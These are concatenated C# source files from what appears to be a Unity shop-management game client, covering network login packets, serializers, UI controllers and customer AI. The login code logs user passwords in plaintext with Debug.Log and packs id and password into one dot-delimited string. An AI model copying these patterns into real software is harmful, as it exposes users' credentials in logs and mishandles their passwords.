Debug.Log( sendData.id + " / " + sendData.password );
JoinRequestPacket sendPacket = new JoinRequestPacket( sendData );
networkProcessor.Send( sendPacket );
}
// send login request
public void SendLoginRequest()
{
// connection start
networkProcessor.ConnectToServer( serverIP, serverPort );
// set data
LoginRequestData sendData = new LoginRequestData();
sendData.id = id;
sendData.password = <PASSWORD>;
Debug.Log( sendData.id + " / " + sendData.password );
LoginRequestPacket sendPacket = new LoginRequestPacket( sendData );
networkProcessor.Send( sendPacket );
}
// send game data request
public void SendGameDataRequest()
{
GameDataRequestData sendData = new GameDataRequestData();
sendData.playerID = id;
GameDataRequestPacket sendPacket = new GameDataRequestPacket( sendData );
networkProcessor.Send( sendPacket );
}
// send create store
public void SendCreateStore( Store createStore )
{
Debug.Log( "Send Create Store" );
StoreCreateRequestData sendData = new StoreCreateRequestData();
sendData.playerID = id;
Debug.Log( sendData.playerID );
sendData.storeID = createStore.ID;
Debug.Log( sendData.storeID );
sendData.storeName = createStore.StoreName;
Debug.Log( sendData.storeName );
sendData.storeType = (byte) ( (int) createStore.Type );
Debug.Log( sendData.storeType );
StoreCreateRequestPacket sendPacket = new StoreCreateRequestPacket( sendData );
networkProcessor.Send( sendPacket );
}
public void SendCreateStore()
{
StoreCreateRequestData sendData = new StoreCreateRequestData();
sendData.playerID = id;
sendData.storeID = "store0003";
sendData.storeName = "hotbar";
sendData.storeType = 3;
StoreCreateRequestPacket sendPacket = new StoreCreateRequestPacket( sendData );
networkProcessor.Send( sendPacket );
}
// receive data section
// receive join result
public void ReceiveJoinResult( byte[] data )
{
// receive packet serialize
JoinResultPacket receivePacket = new JoinResultPacket( data );
JoinResultData joinResultData = receivePacket.GetData();
//process - join success
Debug.Log( joinResultData.message );
}
// receive login result
public void ReceiveLoginResult( byte[] data )
{
Debug.Log( data.Length );
// receive packet serialize
LoginResultPacket receivePacket = new LoginResultPacket( data );
LoginResultData loginResultData = receivePacket.GetData();
isLogin = loginResultData.loginResult;
// login success
if( loginResultData.loginResult )
{
SendGameDataRequest();
GameLoading();
Debug.Log( loginResultData.message );
}
else
Debug.Log( loginResultData.message );
}
// receive money data
public void ReceiveMoneyData( byte[] data )
{
// receive packet data serialize
MoneyDataPacket receivePacket = new MoneyDataPacket( data );
MoneyData moneyData = receivePacket.GetData();
// set data
playerData.Money = moneyData.money;
}
// receive store data
public void ReceiveStoreData( byte[] data )
{
// receive packet data serialize
StoreDataPacket receivePacket = new StoreDataPacket( data );
StoreData storeData = receivePacket.GetData();
// set data
playerData.UpdateStore( storeData );
}
// receive item data
public void ReceiveItemData( byte[] data )
{
// receive packet data serialize
ItemDataPacket receivePacket = new ItemDataPacket( data );
ItemData itemData = receivePacket.GetData();
// set data
playerData.UpdateItem( itemData );
}
// receive store create result
public void ReceiveStoreCreateResult( byte[] data )
{
// receive packet data serialize
StoreCreateResultPacket receivePacket = new StoreCreateResultPacket( data );
StoreCreateResultData resultData = receivePacket.GetData();
// popup & result print
}
// receive item create result
public void ReceiveItemCreateResult( byte[] data )
{
// receive packet data serialize
ItemCreateResultPacket receivePacket = new ItemCreateResultPacket( data );
ItemCreateResultData resultData = receivePacket.GetData();
// popup & result print
}
// receive item acquire result
public void ReceiveItemAcquireResult( byte[] data )
{
// receive packet data serialize
ItemAcquireResultPacket receivePacket = new ItemAcquireResultPacket( data );
ItemAcquireResultData resultData = receivePacket.GetData();
// popup & result print
}
// receive item sell result
public void ReceiveItemSellResult( byte[] data )
{
// receive packet data serialize
ItemSellResultPacket receivePacket = new ItemSellResultPacket( data );
ItemSellResultData resultData = receivePacket.GetData();
// popup & result print
}
// non network method
public void GameStart()
{
if( presentStore != null )
mainUI.MakeGameStep( presentStore.Step );
}
public void SetPresentStore( Store data )
{
presentStore = playerData.FindStoreByID( data.ID );
}
// coroutine section
// game loading routine
public void GameLoading()
{
loginForm.gameObject.SetActive( false );
// set select ui
mainUI.MakeGameStep( 0 );
}
}<file_sep>using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class UserInterfaceController : MonoBehaviour
{
[SerializeField] GameObject upsideBar;
[SerializeField] UIUpsideBar upsideBarLogic;
[SerializeField] GameObject selectView;
[SerializeField] StoreSelectView selectViewLogic;
[SerializeField] GameObject firstView;
[SerializeField] GameViewFirstStep firstViewLogic;
[SerializeField] GameObject secondView;
[SerializeField] GameViewSecondStep secondViewLogic;
void Awake()
{
LinkComponentElement();
}
void Start()
{
AllComponentShift();
}
public void LinkComponentElement()
{
upsideBar = transform.Find( "UpsideBar" ).gameObject;
upsideBarLogic = upsideBar.GetComponent<UIUpsideBar>();
selectView = transform.Find( "StoreSelectUI" ).gameObject;
selectViewLogic = selectView.GetComponent<StoreSelectView>();
firstView = transform.Find( "FirstStepUI" ).gameObject;
firstViewLogic = firstView.GetComponent<GameViewFirstStep>();
secondView = transform.Find( "SecondStepUI" ).gameObject;
secondViewLogic = secondView.GetComponent<GameViewSecondStep>();
}
public void AllComponentShift()
{
upsideBar.transform.localPosition = new Vector3( 2000f, 0f, 0f );
selectView.transform.localPosition = new Vector3( 2000f, 0f, 0f );
firstView.transform.localPosition = new Vector3( 2000f, 0f, 0f );
secondView.transform.localPosition = new Vector3( 2000f, 0f, 0f );
}
public void MakeGameStep( int presentStep )
{
AllComponentShift();
switch ( presentStep )
{
case 0:
selectView.transform.localPosition = new Vector3( 0f, 0f, 0f );
break;
case 1:
upsideBar.transform.localPosition = new Vector3( 0f, 0f, 0f );
firstView.transform.localPosition = new Vector3( 0f, 0f, 0f );
break;
case 2:
upsideBar.transform.localPosition = new Vector3( 0f, 0f, 0f );
secondView.transform.localPosition = new Vector3( 0f, 0f, 0f );
break;
}
}
public void UIUpdate( Player playerData, Store presentStore )
{
if( upsideBar.activeSelf )
upsideBarLogic.UpdateUpsideBar( playerData, presentStore );
if( selectView.activeSelf )
selectViewLogic.UpdateUIComponent();
if( firstView.activeSelf )
firstViewLogic.UpdateUIComponent();
if( secondView.activeSelf )
secondViewLogic.UpdateUIComponent();
}
}
<file_sep>using System;
public class PacketHeader
{
public short length;
public byte id;
}<file_sep>using System;
public class ItemDataPacket : Packet <ItemData, ItemDataSerializer >
{
// constructor - packet data
public ItemDataPacket(ItemData data)
{
// allocate serializer
serializer = new ItemDataSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public ItemDataPacket(byte[] data)
{
// allocate serializer
serializer = new ItemDataSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new ItemData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override ItemData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ServerToClientPacket.ItemData;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class TestRecipe : MonoBehaviour{
//storetypename, price, storeExp, makeTime, recipeCount, recipe, onDisplay
public int storeTypeName;
public int price;
public float storeExp;
public float makeTime;
public int recipeCount;
public Text[,] recipe;
public int onDisplay;
public string[] needItemName;
public TestRecipe()
{
storeTypeName = 0;
price = 0;
storeExp = 0;
makeTime = 0f;
recipeCount = 0;
//recipe[0,0] = new Text[, ];
onDisplay = 0;
}
// public TestRecipe(int _storeTypeName, int _price, float _storeExp, float _makeTime, int _recipeCount, int[] _recipe, int _onDisplay)
// {
// storeTypeName = _storeTypeName;
// price = _price;
// storeExp = _storeExp;
// makeTime = _makeTime;
// recipeCount = _recipeCount;
// recipe [0] = _recipe [0];
// recipe [1] = _recipe [1];
// recipe [2] = _recipe [2];
// recipe [3] = _recipe [3];
// recipe [4] = _recipe [4];
// recipe [5] = _recipe [5];
// recipe [6] = _recipe [6];
// recipe [7] = _recipe [7];
// onDisplay = 0;
//
// }
//
// public TestRecipe(TestRecipe _date)
// {
// storeTypeName = _date.storeTypeName;
// price = _date.price;
// storeExp = _date.storeExp;
// makeTime = _date.makeTime;
// recipeCount = _date.recipeCount;
// recipe [0] = _date.recipe [0];
// recipe [1] = _date.recipe [1];
// recipe [2] = _date.recipe [2];
// recipe [3] = _date.recipe [3];
// recipe [4] = _date.recipe [4];
// recipe [5] = _date.recipe [5];
// recipe [6] = _date.recipe [6];
// recipe [7] = _date.recipe [7];
// onDisplay = 0;
// }
// public TestRecipe(){
// }
}
//
//using UnityEngine;
//using UnityEngine.UI;
//using System.Collections;
//
//[System.Serializable]
//public class Item
//{
// //id
// public int id;
//
// //name
// public string name;
//
// //icon
// public Sprite icon;
//
// //data
// public int price;
// public int coreRank;
// public int weaponAtk;
// public int weaponDef;
// public int weaponStr;
// public int weaponDex;
// public int weaponInt;
// public int weaponLuck;
// public int weaponCri;
// public Section section;
// public Rarity rareRank;
//
// //property
// public int Id
// {
// get { return id; }
// }
//
// public string Name
// {
// get { return name; }
// }
//
// public Sprite Icon
// {
// get { return icon; }
// }
//
// public int Price
// {
// get { return price; }
// }
//
// public int CoreRank
// {
// get { return coreRank; }
// }
//
// public int WeaponAtk
// {
// get { return weaponAtk; }
// }
//
// public int WeaponDef
// {
// get { return weaponDef; }
// }
//
// public int WeaponStr
// {
// get { return weaponStr; }
// }
//
// public int WeaponDex
// {
// get { return weaponDex; }
// }
//
// public int WeaponInt
// {
// get { return weaponInt; }
// }
//
// public int WeaponLuck
// {
// get { return weaponLuck; }
// }
//
// public int WeaponCri
// {
// get { return weaponCri; }
// }
//
// public Section InstallSection
// {
// get { return section; }
// }
//
// public Rarity RareRank
// {
// get { return rareRank; }
// }
//
// public enum Rarity{
// Default,
// Normal,
// Rare,
// Unique,
// Legendary}
// ;
//
// public enum Section
// {
// Top,
// Bottom,
// Blade,
// Handle,
// Consume,
// Default}
//
// ;
//
// //constructor - no parameter
// public Item ()
// {
// id = 0;
// name = "Default";
// price = 0;
// coreRank = 0;
// weaponAtk = 0;
// weaponDef = 0;
// weaponStr = 0;
// weaponDex = 0;
// weaponInt = 0;
// weaponLuck = 0;
// weaponCri = 0;
// section = Section.Default;
// rareRank = Rarity.Default;
// }
//
// //constructor - all parameter
// public Item (int _id, string _name, int _price, int _coreRank, int _weaponAtk, int _weaponDef, int _weaponStr, int _weaponDex, int _weaponInt, int _weaponLuck, int _weaponCri, Section _section, Rarity _rareRank)
// {
// id = _id;
// name = _name;
// price = _price;
// coreRank = _coreRank;
// weaponAtk = _weaponAtk;
// weaponDef = _weaponDef;
// weaponStr = _weaponStr;
// weaponDex = _weaponDex;
// weaponInt = _weaponInt;
// weaponLuck = _weaponLuck;
// weaponCri = _weaponCri;
// section = _section;
// rareRank = _rareRank;
// }
//
//
// //constructor - self parameter
// public Item (Item data)
// {
// id = data.id;
// name = data.name;
// price = data.price;
// coreRank = data.coreRank;
// weaponAtk = data.weaponAtk;
// weaponDef = data.weaponDef;
// weaponStr = data.weaponStr;
// weaponDex = data.weaponDex;
// weaponInt = data.weaponInt;
// weaponLuck = data.weaponLuck;
// weaponCri = data.weaponCri;
// section = data.section;
// rareRank = data.rareRank;
// icon = data.icon;
// }
//
// //another method
//
// //set icon
// public void SetSpriteIcon()
// {
// string path = "Item/Item" + name;
// Sprite temp = Resources.Load<Sprite>( path );
// icon = temp;
// }
//
// public Color SetTextColor()
// {
// switch (rareRank)
// {
// case Rarity.Legendary:
// return new Color ( 1f, 0.5f, 0.0f, 1f );
// case Rarity.Unique:
// return Color.magenta;
// case Rarity.Rare:
// return Color.yellow;
// case Rarity.Normal:
// return Color.white;
// }
//
// return Color.clear;
// }
//
// public string SetRarityText()
// {
// switch (rareRank)
// {
// case Rarity.Legendary:
// return "[Legendary]";
// case Rarity.Unique:
// return "[Unique]";
// case Rarity.Rare:
// return "[Rare]";
// case Rarity.Normal:
// return"[Normal]";
// }
//
// return null;
// }
//
// public void SetDefault()
// {
// id = 0;
// name = "Default";
// price = 0;
// coreRank = 0;
// weaponAtk = 0;
// weaponDef = 0;
// weaponStr = 0;
// weaponDex = 0;
// weaponInt = 0;
// weaponLuck = 0;
// weaponCri = 0;
// section = Section.Default;
// }
//
//}<file_sep>using System;
public class LoginRequestSerializer : Serializer
{
// serialize login request data
public bool Serialize( LoginRequestData data )
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize( data.id );
result &= Serialize( "." );
result &= Serialize( data.password );
// failure serialize -> method exit
if( !result )
return false;
// success serialize -> return result
return result;
}
// deserialize login request data
public bool Deserialize( ref LoginRequestData data )
{
// set deserialize data
bool result = ( GetDataSize() > 0 ) ? true : false;
// data read failure -> method exit
if( !result )
return false;
// packet -> multiple string -> seperate stirng
string linkedString;
result &= Deserialize( out linkedString, (int) GetDataSize() );
string[] dataSet = linkedString.Split( '.' );
// input data
data.id = dataSet[0];
data.password = dataSet[1];
//return result
return result;
}
}
<file_sep>using System;
public class JoinResultPacket : Packet<JoinResultData, JoinResultSerializer>
{
// constructor - packet data
public JoinResultPacket( JoinResultData data )
{
// allocate serialzier
serializer = new JoinResultSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public JoinResultPacket( byte[] data )
{
// allocate serializer
serializer = new JoinResultSerializer();
serializer.SetDeserializedData( data );
// allocate data
dataElement = new JoinResultData();
// deserialize data
serializer.Deserialize( ref dataElement );
}
// return data set
public override JoinResultData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int) ServerToClientPacket.JoinResult;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize( dataElement );
return serializer.GetSerializeData();
}
}
<file_sep>using System.Collections;
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.Events;
public class UIUpsideBar : MonoBehaviour
{
[SerializeField] UserInterfaceController uiManager;
[SerializeField] Text storeName;
[SerializeField] Text storeStepInfo;
[SerializeField] Image storeStepInfoGauge;
[SerializeField] Text money;
void Start()
{
}
// update this object -> update location : mainUI -> game manager
public void UpdateUpsideBar( Player player, Store presentStore )
{
if( presentStore == null )
return;
storeName.text = presentStore.StoreName;
storeStepInfo.text = "Step." + presentStore.Step.ToString() + " (" + presentStore.PresentEXP.ToString() + "/" + presentStore.RequireEXP + ")";
storeStepInfoGauge.fillAmount = presentStore.FillEXP;
money.text = "$ " + player.Money.ToString();
}
// on click method -> go to select
public void OnClickGotoSelect()
{
// go to select store UI
Debug.Log( "Go to Select" );
}
// on click method -> exit button
public void OnClickExitButton()
{
Debug.Log( "Exit game Popup" );
}
//On Click method -> exit button
public void ExitGameClose()
{
}
// on Click method -> exit button - > reconfirmClick
public void ExitGameReconfirm()
{
Application.Quit();
Debug.Log( "Exit Gameover" );
}
}
<file_sep>using UnityEngine;
using System.Collections;
using UnityEngine.UI;
public class StoreCreate : MonoBehaviour
{
[SerializeField] Store createTargetInfo;
[SerializeField] GameManager manager;
[SerializeField] Image createTargetImage;
void Awake()
{
LinkComponentElement();
}
public void LinkComponentElement()
{
manager = GameObject.Find( "GameLogic" ).GetComponent<GameManager>();
createTargetImage = transform.Find( "CreateTargetImage" ).GetComponent<Image>();
}
public void OnClickSetCreateStore( int data )
{
switch ( data )
{
// bakery
case 1:
createTargetInfo = Database.Instance.FindStoreUseID( "store0001" );
createTargetImage.sprite = Resources.Load<Sprite>( "StoreImage/store0001" );
break;
// cafe
case 2:
createTargetInfo = Database.Instance.FindStoreUseID( "store0002" );
createTargetImage.sprite = Resources.Load<Sprite>( "StoreImage/store0002" );
break;
// bar
case 3:
createTargetInfo = Database.Instance.FindStoreUseID( "store0003" );
createTargetImage.sprite = Resources.Load<Sprite>( "StoreImage/store0003" );
break;
}
}
// on click method -> close popup
public void OnClickClosePopUp()
{
this.gameObject.SetActive( false );
}
// on click method -> confirm create store
public void OnClickConfirmStore()
{
if( createTargetInfo != null )
{
manager.SendCreateStore( createTargetInfo );
OnClickClosePopUp();
}
}
}
<file_sep>using System;
public class StoreCreateResultPacket : Packet<StoreCreateResultData, StoreCreateResultSerializer>
{
// constructor - packet data
public StoreCreateResultPacket(StoreCreateResultData data)
{
// allocate serialzier
serializer = new StoreCreateResultSerializer();
// allocate data
dataElement = data;
}
// constructor - byte stream
public StoreCreateResultPacket(byte[] data)
{
// allocate serializer
serializer = new StoreCreateResultSerializer();
serializer.SetDeserializedData(data);
// allocate data
dataElement = new StoreCreateResultData();
// deserialize data
serializer.Deserialize(ref dataElement);
}
// return data set
public override StoreCreateResultData GetData()
{
return dataElement;
}
// return packet data -> packet id
public override int GetPacketID()
{
return (int)ServerToClientPacket.StoreCreateResult;
}
// return packet data -> byte stream data section
public override byte[] GetPacketData()
{
serializer.Serialize(dataElement);
return serializer.GetSerializeData();
}
}
<file_sep>using System;
public enum ClientToServerPacket : int
{
JoinRequest = 1,
LoginRequest = 2,
GameDataRequest = 3,
StoreCreateRequest = 4,
ItemCreateRequest = 5,
ItemAcquireRequest = 6,
ItemSellRequest = 7,
AuctionRequest = 8
}
// Packet ID : 1 -> Join Request
public class JoinRequestData
{
public string id;
public string password;
}
// Packet ID : 2 -> Login Request
public class LoginRequestData
{
public string id;
public string password;
}
// Packet ID : 3 -> GameData Request
public class GameDataRequestData
{
public string playerID;
}
// Packet ID : 4 -> Store Create Request
public class StoreCreateRequestData
{
public string storeID;
public string playerID;
public string storeName;
public byte storeType;
}
// Packet ID : 5 -> Item Create Request
public class ItemCreateRequestData
{
public string itemID;
public string playerID;
public short count;
}
// Packet ID : 6 -> Item Acquire Request
public class ItemAcquireRequestData
{
public string itemID;
public string playerID;
public short count;
}
// Packet ID : 7 -> Item Sell Request
public class ItemSellRequestData
{
public string itemID;
public string playerID;
public short count;
}
// Packet ID : 8 -> Auction Request
public class AuctionRequestData
{
}<file_sep>using System;
public abstract class Packet<Data, Serializer>
{
// field for packet
public Data dataElement;
public Serializer serializer;
// abstract method for packet
// return data set
public abstract Data GetData();
// return packet data -> packet id
public abstract int GetPacketID();
// return packet data -> byte stream data section
public abstract byte[] GetPacketData();
}<file_sep>using UnityEngine;
using System.Collections;
public class ExpGauge : MonoBehaviour {
public int Step;
public float presentExp;
public float maxExp;
// GetpresentExp(){
// return presentExp;
// }
//
// GetStep()
// {
// return Step;
// }
void Update()
{
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class CustomerSummon : MonoBehaviour
{
public GameObject Customer;
public float interval;
// Use this for initialization
void Start ()
{
StartCoroutine ( CustomerSummonCoroutine() );
}
// Update is called once per frame
IEnumerator CustomerSummonCoroutine()
{
while (true)
{
yield return new WaitForSeconds (interval);
var CustomerName = Instantiate (Customer, transform.position, transform.rotation);
CustomerName.name = "Customer";
}
}
}
<file_sep>using System;
public class ItemSellResultSerializer : Serializer
{
// serialize item sell result data
public bool Serialize(ItemSellResultData data)
{
// clear buffer
Clear();
// serialize element
bool result = true;
result &= Serialize(data.sellResult);
result &= Serialize(data.message);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return true;
}
// deserialize item sell result data
public bool Deserialize(ref ItemSellResultData data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// return data initialize
bool sellResult = false;
string message;
// data deserizlize
result &= Deserialize(ref sellResult);
result &= Deserialize(out message, (int)GetDataSize());
// input data
data.sellResult = sellResult;
data.message = message;
// return result
return result;
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class SummonItem : MonoBehaviour
{
public GameObject TempObject;
public Vector3 Transformvec;
// Use this for initialization
public Vector3 itemSummonDestination;
public Vector3 ItemSummonDestination
{
get{return itemSummonDestination;}
set{ itemSummonDestination = value; }
}
void Start ()
{
Transformvec = transform.localPosition = new Vector3 (transform.position.x,transform.position.y,transform.position.z);
}
// Update is called once per frame
void Update ()
{
Instantiate (TempObject, Transformvec, transform.rotation);
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
using System;
public class ProduceItemList : MonoBehaviour
{
[SerializeField]DisplayItem[] produceItemList;
public void LinkComponentElement()
{
produceItemList = GetComponentsInChildren<DisplayItem>();
}
//produceableitemMatiral -> button ->DisplayItem.clickdisplayitemselect-> produceitemlist -> findclickitem;
//and check isSelected;
public void ProduceItemFindClick( Item selectedData )
{
for ( int i = 0; i < produceItemList.Length; i++ )
{
if( produceItemList[i].ThisItem == selectedData )
{
produceItemList[i].IsSelected = true;
Debug.Log( "this infomation get form ProduceItemListClick -> ProduceItemList and Send to DisplayItem[i] sellect check;" );
}
else
produceItemList[i].IsSelected = false;
}
}
}
<file_sep>using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
public class CustomerAI : MonoBehaviour
{
[SerializeField] Animator elfCustomerAnimator;
[SerializeField] AnimatorStateInfo AniInfo;
[SerializeField] GameObject Pet;
[SerializeField] public bool buyItem;
[SerializeField] public bool isStopMat = false;
[SerializeField] List<GameObject> searchItemList = new List<GameObject>();
[SerializeField] NavMeshAgent AIMoveNav;
[SerializeField] GameObject elfPlayer;
[SerializeField] GameObject mat;
[SerializeField] public Collider[] Items;
[SerializeField] GameObject wantItem;
[SerializeField] bool sellItem;
[SerializeField] CustomerStep customerStep;
[SerializeField] public float makeWaitTime;
public enum ElfCustomerPatternName
{
Idle = 1,
Run,
Motion}
;
public enum CustomerStep : int
{
GoStore = 1,
RotatePlayer,
WaitingTime,
Bargin,
GoAway}
;
// Use this for initialization
void Start()
{
elfCustomerAnimator = GetComponent<Animator>();
buyItem = false;
AIMoveNav = GetComponent<NavMeshAgent>();
elfPlayer = GameObject.FindGameObjectWithTag( "Player" );
wantItem = null;
mat = GameObject.FindGameObjectWithTag( "Mat" );
customerStep = CustomerStep.GoStore;
makeWaitTime = 0;
}
void PetActiveFalse()
{
Pet.SetActive( false );
if( buyItem )
{
AIMoveNav.ResetPath();
elfCustomerPattern( ElfCustomerPatternName.Motion );
transform.LookAt( elfPlayer.transform.position );
// transform.rotation = Quaternion.Lerp (transform.rotation,
// Quaternion.LookRotation (elfPlayer.transform.position - transform.position, Vector3.up), Time.deltaTime * 5.0f);
}
}
void GoAway()
{
Vector3 goAwayVector = new Vector3( -20, 0, -20 );
elfCustomerPattern( ElfCustomerPatternName.Run );
if( AniInfo.IsName( "Run" ) )
{
Pet.SetActive( true );
transform.position = new Vector3( transform.position.x, transform.position.y + 0.55f, transform.position.z );
}
AIMoveNav.SetDestination( goAwayVector );
Destroy( this.gameObject, 10.0f );
}
// Update is called once per frame
void Update()
{
transform.position = new Vector3( transform.position.x, 0, transform.position.z );
AniInfo = this.elfCustomerAnimator.GetCurrentAnimatorStateInfo( 0 );
Vector3 buyPos = new Vector3( 0.13f, -0.9166f, -11.66f );
float insertPos = Vector3.Distance( transform.position, buyPos );
Items = Physics.OverlapSphere( transform.position, 100, 1 << LayerMask.NameToLayer( "Item" ) );
int randomItemNum = UnityEngine.Random.Range( 0, Items.Length - 1 );
try
{
wantItem = Items[randomItemNum].gameObject;
}
catch ( IndexOutOfRangeException e )
{
Debug.Log( e.StackTrace );
Debug.Log( e.Message );
}
finally
{
if( customerStep == CustomerStep.GoStore )
{
AIMoveNav.SetDestination( buyPos );
elfCustomerPattern( ElfCustomerPatternName.Run );
if( AniInfo.IsName( "Run" ) )
{
Pet.SetActive( true );
transform.position = new Vector3( transform.position.x, transform.position.y + 0.55f, transform.position.z );
}
if( insertPos < 1.1f )
{
buyItem = true;
customerStep = CustomerStep.RotatePlayer;
}
}
else if( customerStep == CustomerStep.RotatePlayer )
{
PetActiveFalse();
if( wantItem == null )
{
customerStep = CustomerStep.WaitingTime;
}
else if( wantItem != null )
{
customerStep = CustomerStep.Bargin;
}
}
else if( customerStep == CustomerStep.WaitingTime )
{
makeWaitTime += Time.deltaTime;
if( makeWaitTime >= 5.0f )
{
customerStep = CustomerStep.GoAway;
makeWaitTime = 0;
}
else if( makeWaitTime <= 5.0f )
{
PetActiveFalse();
customerStep = CustomerStep.Bargin;
}
}
else if( customerStep == CustomerStep.Bargin )
{
PetActiveFalse();
makeWaitTime += Time.deltaTime;
if( makeWaitTime >= 6.0f )
{
if( wantItem == null )
{
customerStep = CustomerStep.GoAway;
}
else
{
Destroy( wantItem, 1f );
customerStep = CustomerStep.GoAway;
}
}
}
else if( customerStep == CustomerStep.GoAway )
{
GoAway();
}
}
}
public void elfCustomerPattern( ElfCustomerPatternName Status )
{
switch ( Status )
{
case ElfCustomerPatternName.Idle:
elfCustomerAnimator.SetInteger( "state", 1 );
break;
case ElfCustomerPatternName.Run:
elfCustomerAnimator.SetInteger( "state", 2 );
break;
case ElfCustomerPatternName.Motion:
elfCustomerAnimator.SetInteger( "state", 3 );
break;
}
}
public void MakeTime( bool state )
{
if( state )
{
buyItem = true;
}
else
{
buyItem = false;
}
}
}
<file_sep>using System;
public class DecorateObject
{
string objectName;
bool isAllocate;
CustomVector3 allocatePosition;
public DecorateObject ()
{
}
}
<file_sep>using UnityEngine;
using UnityEngine.UI;
using System.Collections;
public class ItemView : MonoBehaviour {
//[SerializeField]Item selectItem;
[SerializeField]Text itemName;
[SerializeField]Image itemImage;
public void LinkComponentElement()
{
itemName = GetComponentInChildren<Text> ();
itemImage = transform.Find ("SelectItemImage").GetComponent<Image> ();
//SelectItem = GameObject.Find ("Produce").GetComponent<ProduceViewSet> ().GetProduceSelectItem ();
}
public void UpdateProducingIteamInfo(Item selectedData)
{
itemName.text = selectedData.Name + "아닌데요".ToString();
//path ItemImage/Wheat
itemImage.sprite = Resources.Load<Sprite> ("ItemIcon/" + selectedData.Name);
Debug.Log( "this infomation get form ProduceItemListClick -> produceViewSet and Send to Itemview -> ItemView Update" );
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
public class DataTable
{
private Dictionary<string , Item> itemInformation;
private static DataTable dataTableInstance = null;
static DataTable()
{
dataTableInstance = new DataTable ();
}
private DataTable ()
{
itemInformation = new Dictionary<string, Item> ();
InputItemData ();
}
public static DataTable Instance { get { return dataTableInstance; } }
void InputItemData()
{
string[] recipe;
int[] recipeCount;
// set field 1 set
itemInformation.Add ("Pro0001", new Item ("Pro0001", "소보로빵", 0, 0, null, null, false, 0, Store.StoreType.Bakery));
// set field 2 set
recipe = new string[1];
recipe [0] = "Pro0001";
recipeCount = new int[1];
recipeCount[0] = 3;
itemInformation.Add ("Pro0002", new Item("Pro0002", "죽빵", 1000, 10f, recipe, recipeCount, false, 100, Store.StoreType.Bakery));
}
public Item FindItemUseID(string id)
{
Item result = new Item ();
itemInformation.TryGetValue (id, out result);
return result;
}
}<file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.EventSystems;
using System.Collections;
using System.Collections.Generic;
public class ProducedItemImage : MonoBehaviour , IPointerEnterHandler, IPointerExitHandler
{
[SerializeField] private List<Item> playerHaveItemData;
public Image producedItemImage;
public Text popUpText;
public GameObject popUpMove;
public Item viewItem;
void Link()
{
producedItemImage = this.gameObject.GetComponent<Image>();
popUpText = GameObject.Find( "PopUpText" ).GetComponent<Text>();
popUpMove = GameObject.Find( "PopUpText" ).GetComponent<GameObject>();
SlotItemSuchIn();
}
void SlotItemSuchIn()
{
playerHaveItemData = GameObject.Find( "GameManager" ).GetComponent<GameManager>().PlayerData.HaveItem;
if( playerHaveItemData.Count + 1 < 10 )
{
for ( int i = 1; i < playerHaveItemData.Count + 1; i++ )
{
Debug.Log( "a" );
//playerHaveItemData[i]
string producedItemImageSearch = "ProducedItemImage" + ( i + 1 ).ToString();
if( producedItemImageSearch.LastIndexOf( producedItemImageSearch ) == i )
{
viewItem = playerHaveItemData[i];
}
}
}
if( playerHaveItemData.Count + 1 >= 10 && playerHaveItemData.Count + 1 < 20 )
{
for ( int i = 9; i < playerHaveItemData.Count + 1; i++ )
{
Debug.Log( "a" );
//playerHaveItemData[i]
string producedItemImageSearch = "ProducedItemImage" + ( i + 1 ).ToString();
if( producedItemImageSearch.LastIndexOf( producedItemImageSearch ) == i )
{
viewItem = playerHaveItemData[i];
}
}
}
if( playerHaveItemData.Count + 1 >= 20 && playerHaveItemData.Count + 1 < 30 )
{
for ( int i = 9; i < playerHaveItemData.Count + 1; i++ )
{
Debug.Log( "a" );
//playerHaveItemData[i]
string producedItemImageSearch = "ProducedItemImage" + ( i + 1 ).ToString();
if( producedItemImageSearch.LastIndexOf( producedItemImageSearch ) == i )
{
viewItem = playerHaveItemData[i];
}
}
}
}
//("slot"+n)
void Start()
{
Link();
}
void Update()
{
}
public void OnPointerEnter( PointerEventData eventdata )
{
popUpText.text = producedItemImage.name;
// popUpText.text = viewItem.Name;
}
public void OnPointerExit( PointerEventData eventdata )
{
popUpText.text = "";
}
public void OnPointerStay( PointerEventData eventdata )
{
}
}
<file_sep>using System;
public class ItemDataSerializer : Serializer
{
// serialize item data
public bool Serialize(ItemData data)
{
// clear buffer
Clear();
//serialize element
bool result = true;
result &= Serialize(data.storeType);
result &= Serialize(data.count);
result &= Serialize(data.price);
result &= Serialize(data.isSell);
result &= Serialize(data.sellPrice);
result &= Serialize(data.sellCount);
result &= Serialize(data.playerID);
result &= Serialize(".");
result &= Serialize(data.itemID);
result &= Serialize(".");
result &= Serialize(data.itemName);
// failure serialize -> method exit
if (!result)
return false;
// success serialize -> return result
return result;
}
// deserialize item data
public bool Deserialize(ref ItemData data)
{
// set deserialize data
bool result = (GetDataSize() > 0) ? true : false;
// data read failure -> method exit
if (!result)
return false;
// return data initialize
byte storeType = 0;
short count = 0;
int price = 0;
bool isSell = false;
int sellPrice = 0;
short sellCount = 0;
// remain data deserialize
result &= Deserialize(ref storeType);
result &= Deserialize(ref count);
result &= Deserialize(ref price);
result &= Deserialize(ref isSell);
result &= Deserialize(ref sellPrice);
result &= Deserialize(ref sellCount);
// input data
data.storeType = storeType;
data.count = count;
data.price = price;
data.isSell = isSell;
data.sellPrice = sellPrice;
data.sellCount = sellCount;
